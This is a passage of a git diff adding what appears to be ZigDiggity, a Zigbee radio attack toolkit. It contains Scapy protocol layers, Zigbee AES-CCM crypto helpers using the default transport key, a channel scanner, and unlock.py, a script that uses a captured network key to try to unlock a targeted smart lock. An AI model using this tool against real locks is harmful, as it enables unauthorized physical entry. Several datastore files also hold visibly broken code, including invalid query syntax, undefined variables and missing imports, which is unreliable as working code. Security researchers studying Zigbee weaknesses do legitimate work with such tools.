pkt:pkt.cmd_identifier == 6), # Security Capability # noqa: E501 + ConditionalField(BitField("reserved2", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 5 is reserved # noqa: E501 + ConditionalField(BitField("reserved1", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 4 is reserved # noqa: E501 + ConditionalField(BitField("receiver_on_when_idle", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Receiver On When Idle # noqa: E501 + ConditionalField(BitField("power_source", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Power Source # noqa: E501 + ConditionalField(BitField("device_type", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Device Type # noqa: E501 + ConditionalField(BitField("alternate_pan_coordinator", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Alternate PAN Coordinator # noqa: E501 + + # - Rejoin Response Command - # + # Network address (2 octets) + ConditionalField(XLEShortField("network_address", 0xFFFF), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501 + # Rejoin status (1 octet) + ConditionalField(ByteField("rejoin_status", 0), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501 + + # - Link Status Command - # + # Command options (1 octet) + ConditionalField(BitField("reserved", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Reserved # noqa: E501 + ConditionalField(BitField("last_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Last frame # noqa: E501 + ConditionalField(BitField("first_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # First frame # noqa: E501 + ConditionalField(BitField("entry_count", 0, 5), lambda pkt:pkt.cmd_identifier == 8), # Entry count # noqa: E501 + # Link status list (variable size) + ConditionalField( + PacketListField("link_status_list", [], LinkStatusEntry, count_from=lambda pkt:pkt.entry_count), # noqa: E501 + lambda pkt:pkt.cmd_identifier == 8), + + # - Network Report Command - # + # Command options (1 octet) + ConditionalField( + BitEnumField("report_command_identifier", 0, 3, {0: "PAN identifier conflict"}), # 0x01 - 0x07 Reserved # noqa: E501 + lambda pkt: pkt.cmd_identifier == 9), + ConditionalField(BitField("report_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 9), # noqa: E501 + # EPID: Extended PAN ID (8 octets) + ConditionalField(dot15d4AddressField("epid", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 9), # noqa: E501 + # Report information (variable length) + # Only present if we have a PAN Identifier Conflict Report + ConditionalField( + FieldListField("PAN_ID_conflict_report", [], XLEShortField("", 0x0000), # noqa: E501 + count_from=lambda pkt:pkt.report_information_count), + lambda pkt:(pkt.cmd_identifier == 9 and pkt.report_command_identifier == 0) # noqa: E501 + ), + + # - Network Update Command - # + # Command options (1 octet) + ConditionalField( + BitEnumField("update_command_identifier", 0, 3, {0: "PAN Identifier Update"}), # 0x01 - 0x07 Reserved # noqa: E501 + lambda pkt: pkt.cmd_identifier == 10), + ConditionalField(BitField("update_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 + # EPID: Extended PAN ID (8 octets) + ConditionalField(dot15d4AddressField("epid", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 + # Update Id (1 octet) + ConditionalField(ByteField("update_id", 0), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 + # Update Information (Variable) + # Only present if we have a PAN Identifier Update + # New PAN ID (2 octets) + ConditionalField(XLEShortField("new_PAN_ID", 0x0000), + lambda pkt: (pkt.cmd_identifier == 10 and pkt.update_command_identifier == 0)), # noqa: E501 + + # StrField("data", ""), + ] + + +def util_mic_len(pkt): + ''' Calculate the length of the attribute value field ''' + if (pkt.nwk_seclevel == 0): # no encryption, no mic + return 0 + elif (pkt.nwk_seclevel == 1): # MIC-32 + return 4 + elif (pkt.nwk_seclevel == 2): # MIC-64 + return 8 + elif (pkt.nwk_seclevel == 3): # MIC-128 + return 16 + elif (pkt.nwk_seclevel == 4): # ENC + return 0 + elif (pkt.nwk_seclevel == 5): # ENC-MIC-32 + return 4 + elif (pkt.nwk_seclevel == 6): # ENC-MIC-64 + return 8 + elif (pkt.nwk_seclevel == 7): # ENC-MIC-128 + return 16 + else: + return 0 + + +class ZigbeeSecurityHeader(Packet): + name = "Zigbee Security Header" + fields_desc = [ + # Security control (1 octet) + FlagsField("reserved1", 0, 2, ['reserved1', 'reserved2']), + BitField("extended_nonce", 1, 1), # set to 1 if the sender address field is present (source) # noqa: E501 + # Key identifier + BitEnumField("key_type", 1, 2, { + 0: 'data_key', + 1: 'network_key', + 2: 'key_transport_key', + 3: 'key_load_key' + }), + # Security level (3 bits) + BitEnumField("nwk_seclevel", 0, 3, { + 0: "None", + 1: "MIC-32", + 2: "MIC-64", + 3: "MIC-128", + 4: "ENC", + 5: "ENC-MIC-32", + 6: "ENC-MIC-64", + 7: "ENC-MIC-128" + }), + # Frame counter (4 octets) + XLEIntField("fc", 0), # provide frame freshness and prevent duplicate frames # noqa: E501 + # Source address (0/8 octets) + ConditionalField(dot15d4AddressField("source", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.extended_nonce), # noqa: E501 + # Key sequence number (0/1 octet): only present when key identifier is 1 (network key) # noqa: E501 + ConditionalField(ByteField("key_seqnum", 0), lambda pkt: pkt.getfieldval("key_type") == 1), # noqa: E501 + # Payload + # the length of the encrypted data is the payload length minus the MIC + StrField("data", ""), # noqa: E501 + # Message Integrity Code (0/variable in size), length depends on nwk_seclevel # noqa: E501 + XStrField("mic", ""), + ] + + def post_dissect(self, s): + # Get the mic dissected correctly + mic_length = util_mic_len(self) + if mic_length > 0: # Slice "data" into "data + mic" + _data, _mic = self.data[:-mic_length], self.data[-mic_length:] + self.data, self.mic = _data, _mic + return s + + +class ZigbeeAppDataPayload(Packet): + name = "Zigbee Application Layer Data Payload (General APS Frame Format)" + fields_desc = [ + # Frame control (1 octet) + FlagsField("frame_control", 2, 4, + ['reserved1', 'security', 'ack_req', 'extended_hdr']), + BitEnumField("delivery_mode", 0, 2, + {0: 'unicast', 1: 'indirect', + 2: 'broadcast', 3: 'group_addressing'}), + BitEnumField("aps_frametype", 0, 2, + {0: 'data', 1: 'command', 2: 'ack'}), + # Destination endpoint (0/1 octet) + ConditionalField( + ByteField("dst_endpoint", 10), + lambda pkt: (pkt.frame_control.ack_req or pkt.aps_frametype == 2) + ), + # Group address (0/2 octets) TODO + # Cluster identifier (0/2 octets) + ConditionalField( + # unsigned short (little-endian) + EnumField("cluster", 0, _zcl_cluster_identifier, fmt=" 9)) + ] + + +class ZigBeeBeacon(Packet): + name = "ZigBee Beacon Payload" + fields_desc = [ + # Protocol ID (1 octet) + ByteField("proto_id", 0), + # nwkcProtocolVersion (4 bits) + BitField("nwkc_protocol_version", 0, 4), + # Stack profile (4 bits) + BitField("stack_profile", 0, 4), + # End device capacity (1 bit) + BitField("end_device_capacity", 0, 1), + # Device depth (4 bits) + BitField("device_depth", 0, 4), + # Router capacity (1 bit) + BitField("router_capacity", 0, 1), + # Reserved (2 bits) + BitField("reserved", 0, 2), + # Extended PAN ID (8 octets) + dot15d4AddressField("extended_pan_id", 0, adjust=lambda pkt, x: 8), + # Tx offset (3 bytes) + # In ZigBee 2006 the Tx-Offset is optional, while in the 2007 and later versions, the Tx-Offset is a required value. # noqa: E501 + BitField("tx_offset", 0, 24), + # Update ID (1 octet) + ByteField("update_id", 0), + ] + + +# Inter-PAN Transmission # +class ZigbeeNWKStub(Packet): + name = "Zigbee Network Layer for Inter-PAN Transmission" + fields_desc = [ + # NWK frame control + BitField("reserved", 0, 2), # remaining subfields shall have a value of 0 # noqa: E501 + BitField("proto_version", 2, 4), + BitField("frametype", 0b11, 2), # 0b11 (3) is a reserved frame type + BitField("reserved", 0, 8), # remaining subfields shall have a value of 0 # noqa: E501 + ] + + def guess_payload_class(self, payload): + if self.frametype == 0b11: + return ZigbeeAppDataPayloadStub + else: + return Packet.guess_payload_class(self, payload) + + +class ZigbeeAppDataPayloadStub(Packet): + name = "Zigbee Application Layer Data Payload for Inter-PAN Transmission" + fields_desc = [ + FlagsField("frame_control", 0, 4, ['reserved1', 'security', 'ack_req', 'extended_hdr']), # noqa: E501 + BitEnumField("delivery_mode", 0, 2, {0: 'unicast', 2: 'broadcast', 3: 'group'}), # noqa: E501 + BitField("frametype", 3, 2), # value 0b11 (3) is a reserved frame type + # Group Address present only when delivery mode field has a value of 0b11 (group delivery mode) # noqa: E501 + ConditionalField( + XLEShortField("group_addr", 0x0), # 16-bit identifier of the group + lambda pkt: pkt.getfieldval("delivery_mode") == 0b11 + ), + # Cluster identifier + EnumField("cluster", 0, _zcl_cluster_identifier, fmt="= 4: + v = orb(_pkt[2]) + if v == 1: + return ZEP1 + elif v == 2: + return ZEP2 + return cls + + def guess_payload_class(self, payload): + if self.lqi_mode: + return Dot15d4 + else: + return Dot15d4FCS + + +class ZEP1(ZEP2): + name = "Zigbee Encapsulation Protocol (V1)" + fields_desc = [ + StrFixedLenField("preamble", "EX", length=2), + ByteField("ver", 0), + ByteField("channel", 0), + ShortField("device", 0), + ByteField("lqi_mode", 0), + ByteField("lqi_val", 0), + BitField("res", 0, 56), # 7 bytes reserved field + ByteField("len", 0), + ] + + +# Bindings # + +# TODO: find a way to chose between ZigbeeNWK and SixLoWPAN (cf. sixlowpan.py) +# Currently: use conf.dot15d4_protocol value +# bind_layers( Dot15d4Data, ZigbeeNWK) + +bind_layers(ZigbeeAppDataPayload, ZigbeeAppCommandPayload, frametype=1) +bind_layers(Dot15d4Beacon, ZigBeeBeacon) + +bind_bottom_up(UDP, ZEP2, sport=17754) +bind_bottom_up(UDP, ZEP2, sport=17754) +bind_layers(UDP, ZEP2, sport=17754, dport=17754) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..152ea6d --- /dev/null +++ b/requirements.txt @@ -0,0 +1,6 @@ +sqlalchemy +scapy +pycryptodome +argparse +pyserial +hexdump diff --git a/scan.py b/scan.py new file mode 100755 index 0000000..93504ca --- /dev/null +++ b/scan.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python +import os +import sys +sys.path.append(os.getcwd() + "/zigdiggity") + +import time +import argparse +from zigdiggity.radios.raspbee_radio import RaspbeeRadio +from zigdiggity.radios.observer_radio import ObserverRadio +import zigdiggity.observers.utils as observer_utils +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * +from zigdiggity.interface.console import print_notify +from zigdiggity.interface.components.logo import Logo +from zigdiggity.misc.timer import Timer + +parser = argparse.ArgumentParser(description='Scan channels for Zigbee traffic') +parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device') +parser.add_argument('-s','--stdout',action='store_true',dest='stdout',required=False,help='dump traffic to stdout') +parser.add_argument('-t','--timeout',action='store',type=int,dest='timeout',default=10,help='response listen timeout') +parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark') +args = parser.parse_args() + +logo = Logo() +logo.print() + +hardware_radio = RaspbeeRadio(args.device) +radio = ObserverRadio(hardware_radio) + +if args.wireshark: + observer_utils.register_wireshark(radio) +if args.stdout: + observer_utils.register_stdout(radio) + +CHANNELS = [11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26] +for channel in CHANNELS: + radio.set_channel(channel) + + print_notify("Listening to channel %d" % radio.get_channel()) + + timer = Timer(args.timeout) + while(not timer.has_expired()): + result = radio.receive() + +radio.off() diff --git a/setup.py b/setup.py new file mode 100755 index 0000000..edc6cc9 --- /dev/null +++ b/setup.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python +# NOTE: See the README file for a list of dependencies to install. + +import sys + +try: + from setuptools import setup, Extension +except ImportError: + print("No setuptools found, attempting to use distutils instead.") + from distutils.core import setup, Extension + +err = [] +warn = [] +apt_get_pkgs = [] +pip_pkgs = [] + +# TODO: Ideally we would detect missing python-dev and libgcrypt-dev to give better errors. + +# Dot15d4 is a dep of some of the newer tools +try: + from scapy.all import Dot15d4 +except ImportError: + warn.append("Scapy 802.15.4 (see README.md)") + pip_pkgs.append("git+https://github.com/secdev/scapy.git#egg=scapy") + +if len(err) > 0: + print(""" +Library requirements not met. Install the following libraries, then re-run the setup script. + +{}\n""".format('\n'.join(err)), file=sys.stderr) + +if len(warn) > 0: + print(""" +Library recommendations not met. For full support, install the following libraries, then re-run the setup script. + +{}\n""".format('\n'.join(warn)), file=sys.stderr) + +if len(apt_get_pkgs) > 0 or len(pip_pkgs) > 0: + print("The following commands should install these dependencies on Ubuntu, and can be adapted for other OSs:", file=sys.stderr) + if len(apt_get_pkgs) > 0: + print("\tsudo apt-get install -y {}".format(' '.join(apt_get_pkgs)), file=sys.stderr) + if len(pip_pkgs) > 0: + print("\tpip install {}".format(' '.join(pip_pkgs)), file=sys.stderr) + +if len(err) > 0: + sys.exit(1) + +setup(name = 'zigdiggity', + version = '2.1.0', + description = 'Zigbee Framework and Tools for RaspBee', + author = 'Peeps', + author_email = 'a@b.c', + license = 'LICENSE', + packages = ['zigdiggity', + 'zigdiggity/crypto', + 'zigdiggity/datastore', + 'zigdiggity/interface', + 'zigdiggity/misc', + 'zigdiggity/observers', + 'zigdiggity/packets', + 'zigdiggity/radios'], + scripts = [], + requires=['hexdump', 'pyserial(>=2.0)', 'pycryptodome', 'rangeparser', 'scapy', 'sqlalchemy'], + ) diff --git a/unlock.py b/unlock.py new file mode 100755 index 0000000..b36ef35 --- /dev/null +++ b/unlock.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python +import os +import sys +sys.path.append(os.getcwd() + "/zigdiggity") + +import time +import argparse +import struct +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * + +from zigdiggity.radios.raspbee_radio import RaspbeeRadio +from zigdiggity.radios.observer_radio import ObserverRadio +from zigdiggity.observers.wireshark_observer import WiresharkObserver +import zigdiggity.crypto.utils as crypto_utils +from zigdiggity.misc.actions import * +from zigdiggity.interface.components.logo import Logo + +parser = argparse.ArgumentParser(description='Attempt to unlock the target lock') +parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use') +parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device') +parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target') +parser.add_argument('-a','--address',action='store',type=lambda s: int(s.replace(':',''),16),dest='address',required=True,help='The address of the device to target') +parser.add_argument('-k','--key',action='store',type=lambda s: int(s.replace(':',''),16),dest='key',required=True,help='The network encryption key of the target network') +parser.add_argument('-u','--attempts',action='store',type=int,dest='attempts',default=3,help='Number of unlock attempts') +parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark') +args = parser.parse_args() + +logo = Logo() +logo.print() + +hardware_radio = RaspbeeRadio(args.device) +radio = ObserverRadio(hardware_radio) + +if args.wireshark: + wireshark = WiresharkObserver() + radio.add_observer(wireshark) + +TARGET_EPAN = args.epan +NWK_KEY = struct.pack(">QQ",args.key>>64,args.key%(2**64)) +channel = args.channel +target_addr = args.address + +start_time = time.time() + +radio.set_channel(channel) + +panid = get_pan_by_extended_pan(radio, TARGET_EPAN) +if panid is None: + print_error("Could not find the PAN ID corresponding to the target network.") + exit(1) + +print_notify("Scanning channel %d" % channel) + +for attempt in range(args.attempts): + if not unlock_lock(radio, panid, target_addr, NWK_KEY): + panid = get_pan_by_extended_pan(radio, TARGET_EPAN) + else: + break + +radio.off() +print_notify("Total elapsed time: %f seconds" % (time.time()-start_time)) diff --git a/zigdiggity/__init__.py b/zigdiggity/__init__.py new file mode 100755 index 0000000..e69de29 diff --git a/zigdiggity/crypto/utils.py b/zigdiggity/crypto/utils.py new file mode 100755 index 0000000..cb5ae30 --- /dev/null +++ b/zigdiggity/crypto/utils.py @@ -0,0 +1,125 @@ +from Crypto.Cipher import AES +from Crypto.Util import Counter +import struct + +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * +import struct + +conf.dot15d4_protocol = 'zigbee' + +DEFAULT_TRANSPORT_KEY = b'ZigBeeAlliance09' + +BLOCK_SIZE = 16 +MIC_SIZE = 4 + +def block_xor(block1, block2): + return bytes([_a ^ _b for _a, _b in zip(block1, block2)]) + +def zigbee_sec_hash(aInput): + # construct the whole input + zero_padding_length = (((BLOCK_SIZE-2) - len(aInput) % BLOCK_SIZE) - 1) % BLOCK_SIZE + padded_input = aInput + b'\x80' + b'\x00' * zero_padding_length + struct.pack(">H", 8*len(aInput)) + number_of_blocks = int(len(padded_input)/BLOCK_SIZE) + key = b'\x00'*BLOCK_SIZE + for i in range(number_of_blocks): + cipher = AES.new(key, AES.MODE_ECB) + ciphertext = cipher.encrypt(padded_input[BLOCK_SIZE*i:BLOCK_SIZE*(i+1)]) + key = block_xor(ciphertext, padded_input[BLOCK_SIZE*i:BLOCK_SIZE*(i+1)]) + return key + +def zigbee_sec_key_hash(key, aInput): + ipad = b'\x36'*BLOCK_SIZE + opad = b'\x5c'*BLOCK_SIZE + key_xor_ipad = block_xor(key, ipad) + key_xor_opad = block_xor(key, opad) + return zigbee_sec_hash(key_xor_opad + zigbee_sec_hash(key_xor_ipad + aInput)) + +def zigbee_trans_key(key): + return zigbee_sec_key_hash(key, b'\x00') + +def zigbee_decrypt(key, nonce, extra_data, ciphertext, mic): + + cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=4) + cipher.update(extra_data) + text = cipher.decrypt(ciphertext) + try: + cipher.verify(mic) + mic_valid = True + except ValueError: + mic_valid = False + return (text, mic_valid) + +def zigbee_encrypt(key, nonce, extra_data, text): + + cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=4) + cipher.update(extra_data) + + ciphertext, mic = cipher.encrypt_and_digest(text) + + return (ciphertext, mic) + +def zigbee_get_packet_nonce(aPacket, extended_source): + + nonce = struct.pack('Q',*struct.unpack('>Q', extended_source)) + struct.pack('I', aPacket[ZigbeeSecurityHeader].fc) + struct.pack('B', bytes(aPacket[ZigbeeSecurityHeader])[0]) + return nonce + +def zigbee_get_packet_header(aPacket): + + ciphertext = aPacket[ZigbeeSecurityHeader].data + mic = aPacket[ZigbeeSecurityHeader].mic + data_len = len(ciphertext) + len(mic) + + if ZigbeeAppDataPayload in aPacket: + if data_len > 0: + header = bytes(aPacket[ZigbeeAppDataPayload])[:-data_len] + else: + header = bytes(aPacket[ZigbeeAppDataPayload]) + else: + if data_len > 0: + header = bytes(aPacket[ZigbeeNWK])[:-data_len] + else: + header = bytes(aPacket[ZigbeeNWK]) + + return header + +def zigbee_packet_decrypt(key, aPacket, extended_source): + + new_packet = aPacket.copy() + new_packet[ZigbeeSecurityHeader].nwk_seclevel = 5 + new_packet = Dot15d4FCS(bytes(new_packet)) + + ciphertext = new_packet[ZigbeeSecurityHeader].data + mic = new_packet[ZigbeeSecurityHeader].mic + + header = zigbee_get_packet_header(new_packet) + nonce = zigbee_get_packet_nonce(new_packet, extended_source) + + payload, mic_valid = zigbee_decrypt(key, nonce, header, ciphertext, mic) + frametype = new_packet[ZigbeeNWK].frametype + if frametype == 0 and mic_valid: + payload = ZigbeeAppDataPayload(payload) + elif frametype == 1 and mic_valid: + payload = ZigbeeNWKCommandPayload(payload) + + return payload, mic_valid + +def zigbee_packet_encrypt(key, aPacket, text, extended_source): + + if not ZigbeeSecurityHeader in aPacket: + return b'' + + new_packet = aPacket.copy() + new_packet[ZigbeeSecurityHeader].nwk_seclevel = 5 + + header = zigbee_get_packet_header(new_packet) + nonce = zigbee_get_packet_nonce(new_packet, extended_source) + + data, mic = zigbee_encrypt(key, nonce, header, text) + + new_packet.data = data + new_packet.mic = mic + + new_packet.nwk_seclevel = 0 + return Dot15d4FCS(bytes(new_packet)) + diff --git a/zigdiggity/datastore/__init__.py b/zigdiggity/datastore/__init__.py new file mode 100755 index 0000000..1772f7c --- /dev/null +++ b/zigdiggity/datastore/__init__.py @@ -0,0 +1,13 @@ +from base import Base +from sqlalchemy import create_engine +from sqlalchemy.orm import sessionmaker +from os.path import expanduser +import radios +import networks +import devices +import utils + +home = expanduser("~") +engine = create_engine('sqlite:///%s/.zigdiggity.db'%home, connect_args={'check_same_thread':False}) +database_session = sessionmaker(engine)() # I only want to expose the session +Base.metadata.create_all(bind=engine) \ No newline at end of file diff --git a/zigdiggity/datastore/base.py b/zigdiggity/datastore/base.py new file mode 100755 index 0000000..d94a116 --- /dev/null +++ b/zigdiggity/datastore/base.py @@ -0,0 +1,4 @@ +from sqlalchemy.ext.declarative import declarative_base +from sqlalchemy import String, Column, Integer, Boolean + +Base = declarative_base() \ No newline at end of file diff --git a/zigdiggity/datastore/device.py b/zigdiggity/datastore/device.py new file mode 100755 index 0000000..d6b1c87 --- /dev/null +++ b/zigdiggity/datastore/device.py @@ -0,0 +1,24 @@ + +from base import Base +from sqlalchemy import Column, Binary, Boolean, Integer, DateTime, BigInteger +import datetime + +class Device(Base): + __tablename__ = 'device' + + id = Column(Integer, primary_key=True) + last_updated = Column(DateTime, default=datetime.datetime.utcnow, onupdate=datetime.datetime.utcnow) + + pan_id = Column(Integer, ForeignKey('pan.id')) + pan = relationship("PAN") + + address = Column(Binary) + extended_address = Column(Binary) + is_coordinator = Column(Boolean) + + # keeping track of numbers + d15d4_sequence_number = Column(Integer) + nwk_sequence_number = Column(Integer) + aps_counter = Column(Integer) + zcl_sequence_number = Column(Integer) + frame_counter = Column(Integer) diff --git a/zigdiggity/datastore/network.py b/zigdiggity/datastore/network.py new file mode 100755 index 0000000..4b047a4 --- /dev/null +++ b/zigdiggity/datastore/network.py @@ -0,0 +1,16 @@ +from base import Base +from sqlalchemy import Column, Binary, Boolean, Integer, DateTime, BigInteger +import datetime + +class Network(Base): + __tablename__ = 'network' + + id = Column(Integer, primary_key=True) + last_updated = Column(DateTime, default=datetime.datetime.utcnow, onupdate=datetime.datetime.utcnow) + + unknown = Column(Boolean, default=False) + + extended_pan_id = Column(Binary) + nwk_key = Column(Binary) + + pans = relationship("PAN", back_populates="network") diff --git a/zigdiggity/datastore/pan.py b/zigdiggity/datastore/pan.py new file mode 100755 index 0000000..d34b172 --- /dev/null +++ b/zigdiggity/datastore/pan.py @@ -0,0 +1,14 @@ +from base import Base +from sqlalchemy import Column, Binary, Boolean, Integer, DateTime, BigInteger +import datetime + +class PAN(Base): + __tablename__ = 'pan' + + id = Column(Integer, primary_key=True) + + network_id = Column(Integer, ForeignKey('network.id')) + network = relationship("PAN", back_populates="pans") + + channel = Column(Integer) + pan_id = Column(Binary) \ No newline at end of file diff --git a/zigdiggity/datastore/radio.py b/zigdiggity/datastore/radio.py new file mode 100755 index 0000000..b7a9507 --- /dev/null +++ b/zigdiggity/datastore/radio.py @@ -0,0 +1,9 @@ +from base import Base +from sqlalchemy import Column, Integer, String, Boolean + +class Radio(Base): + __tablename__='radio' + + id = Column(Integer, primary_key=True) + radio_type = Column(String) + device_string = Column(String) diff --git a/zigdiggity/datastore/utils.py b/zigdiggity/datastore/utils.py new file mode 100755 index 0000000..e0649bc --- /dev/null +++ b/zigdiggity/datastore/utils.py @@ -0,0 +1,150 @@ +from devices import Device +from networks import Networks + +def find_network_by_packet(channel, packet): + pan = get_pan_id_by_packet(packet) + extended_pan = get_extended_pan_by_packet(packet) + return find_network(channel, pan=pan, extended_pan=extended_pan) + +def find_network(channel, pan=None, extended_pan=None): + if epan is None: + return database_session.query(Network).filter_by(channel=channel, pan_id=pan).first() + else: + return database_session.query(Network).filter_by(channel=channel, pan_id=pan, extended_pan_id=extended_pan) + +def find_device_by_packet(channel, packet): + pan = get_pan_id_by_packet(packet) + addr = get_short_address_by_packet(packet) + epan = get_extended_pan_id_by_packet(packet) + eaddr = get_full_address_by_packet(packet) + return find_device(channel, pan=pan, addr=addr, epan=epan, eaddr=eaddr) + +def find_device(channel, pan=None, addr=None, epan=None, eaddr=None): + + # if we find a device with a specific extended address, then we know what it is + if eaddr is not None: + device = database_session.query(Device).filter_by(extended_address=eaddr).first() + if device is not None: + return device + + # Use the device's network to find it + if epan is not None and addr is not None: + result = database_session.query(Device, PAN, Network).filter_by(Network.extended_pan_id=epan, Device.address=addr).order_by(Device.last_updated.desc()).first() + if result is not None: + device = result.Device + if device is not None: + return device + + # Last we'll use PAN/ADDR + if pan is not None and addr is not None: + pan_obj = database_session.query(PAN).filter_by(channel=channel, pan_id=pan).first() + if pan_obj is not None: + device = database_session.query(Device).filter_by(pan_id=pan_obj.id, address=addr).first() + if device is not None: + return device + + return None + + +def get_short_address_by_packet(packet): + if Dot15d4FCS in packet: + if packet[Dot15d4FCS].fcf_srcaddrmode == 2: # Short + if Dot15d4Data in packet: + return packet[Dot15d4Data].src_addr + elif Dot15d4Cmd in packet: + return[Dot15d4Cmd].src_addr + elif Dot15d4Beacon in packet: + return packet[Dot15d4Beacon].src_addr + return None + +def get_full_address_by_packet(packet): + if ZigbeeNWK in packet: + if packet[ZigbeeNWK].flags & 16: # Extended source + return packet[ZigbeeNWK].ext_src + if ZigbeeSecurityHeader in packet: + return packet[ZigbeeSecurityHeader].source + return None + +def get_short_dest_address_by_packet(packet): + if Dot15d4FCS in packet: + if packet[Dot15d4FCS].fcf_destaddrmode == 2: # Short + if Dot15d4Data in packet: + return packet[Dot15d4Data].dest_addr + elif Dot15d4Cmd in packet: + return packet[Dot15d4Cmd].dest_addr + return None + +def get_full_dest_address_by_packet(packet): + if ZigbeeNWK in packet: + if packet[ZigbeeNWK].flags & 8: # Extended dest + return packet[ZigbeeNWK].ext_dst + return None + +def src_panid_present(packet): + if Dot15d4FCS in packet: + return packet.fcf_srcaddrmode != 0 and packet.fcf_panidcompress == 0 + else: + return False + +def get_pan_id_by_packet(packet): + if Dot15d4FCS in packet: + if Dot15d4Data in packet: + if src_panid_present(packet): + return packet[Dot15d4Data].src_panid + else: + return packet[Dot15d4Data].dest_panid + elif Dot15d4Cmd in packet: + if src_panid_present(packet): + return packet[Dot15d4Cmd].src_panid + else: + return packet[Dot15d4Cmd].dest_panid + elif Dot15d4Beacon in packet: + return packet[Dot15d4Beacon].src_panid + return None + +def get_extended_pan_by_packet(packet): + if ZigBeeBeacon in packet: + return packet[ZigBeeBeacon].extended_pan_id + return None + +def get_is_coordinator_by_packet(packet): + if Dot15d4Beacon in packet: + return packet[Dot15d4Beacon].sf_pancoord + return None + +def add_new_device(device): + if not isinstance(device, Device): + return + + database_session.add(device) + +def merge_devices(device1, device2): + # we always merge into device 1 + if device1.pan_id is None: + device1.pan_id = device2.pan_id + if device1.extended_pan_id is None: + device1.extended_pan_id = device2.extended_pan_id + if device1.address is None: + device1.address = device2.address + if device1.extended_address is None: + device1.extended_address = device2.extended_address + database_session.delete(device2) + +unknown_network = None + +def get_unknown_network(): + global unknown_network + if unknown_network is None: + network = database_session.query(Network).filter_by(unknown=True) + if network is None: + network = Network() + network.unknown=True + database_session.commit() + unknown_network = network + return unknown_network + +def is_unknown_network(network): + return network.unknown + +def commit_changes(): + database_session.commit() \ No newline at end of file diff --git a/zigdiggity/interface/colors.py b/zigdiggity/interface/colors.py new file mode 100755 index 0000000..1e3be27 --- /dev/null +++ b/zigdiggity/interface/colors.py @@ -0,0 +1,88 @@ +import sys + +class Color(object): + ''' Helper object for easily printing colored text to the terminal. ''' + + # Basic console colors + colors = { + 'W' : '\033[0m', # white (normal) + 'R' : '\033[31m', # red + 'G' : '\033[32m', # green + 'O' : '\033[33m', # orange + 'B' : '\033[34m', # blue + 'P' : '\033[35m', # purple + 'C' : '\033[36m', # cyan + 'GR': '\033[37m', # gray + 'BL': '\033[90m', # light black + 'D' : '\033[2m' # dims current color. {W} resets. + } + + # Helper string replacements + replacements = { + '{+}': ' {G}[+]{W}', + '{!}': ' {R}[!]{W}', + '{?}': ' {C}[?]{W}', + '{.}': ' {G}{D}[.]{W}' + } + + last_sameline_length = 0 + + @staticmethod + def prompt(text): + prompt_text = Color.s(text + " ") + return raw_input(prompt_text) + + @staticmethod + def p(text): + ''' + Prints text using colored format on same line. + Example: + Color.p("{R}This text is red. {W} This text is white") + ''' + sys.stdout.write(Color.s(text)) + sys.stdout.flush() + if '\r' in text: + text = text[text.rfind('\r')+1:] + Color.last_sameline_length = len(text) + else: + Color.last_sameline_length += len(text) + + @staticmethod + def pl(text): + '''Prints text using colored format with trailing new line.''' + Color.p('%s\n' % text) + Color.last_sameline_length = 0 + + @staticmethod + def pe(text): + '''Prints text using colored format with leading and trailing new line to STDERR.''' + sys.stderr.write(Color.s('%s\n' % text)) + Color.last_sameline_length = 0 + + @staticmethod + def s(text): + ''' Returns colored string ''' + output = text + for (key,value) in Color.replacements.items(): + output = output.replace(key, value) + for (key,value) in Color.colors.items(): + output = output.replace("{%s}" % key, value) + return output + + @staticmethod + def clear_line(): + spaces = ' ' * Color.last_sameline_length + sys.stdout.write('\r%s\r' % spaces) + sys.stdout.flush() + Color.last_sameline_length = 0 + + @staticmethod + def clear_entire_line(): + import os + (rows, columns) = os.popen('stty size', 'r').read().split() + Color.p("\r" + (" " * int(columns)) + "\r") + + @staticmethod + def oneliner(text): + Color.p("\r%s" % text) + diff --git a/zigdiggity/interface/components/device_table.py b/zigdiggity/interface/components/device_table.py new file mode 100755 index 0000000..e15715f --- /dev/null +++ b/zigdiggity/interface/components/device_table.py @@ -0,0 +1,26 @@ +from zigdiggity.datastore.devices import Device +from colors import * + +class DeviceTable(): + + def __init__(self, devices): + self.devices = devices + + def __repr__(self): + + counter = 1 + + result = Color.s(" \n") + + Color.s(" NUM EXTENDED PAN PAN CH ADDR EXTENDED ADDR\n") + + Color.s(" ---- ------------------- ------ --- ------ --------------------\n") + + for device in devices: + pan_str = "0x%04x"%device.pan.pan_id if device.pan is not None and device.pan.pan_id is not None else None + channel_str = device.pan.channel if device.pan is not 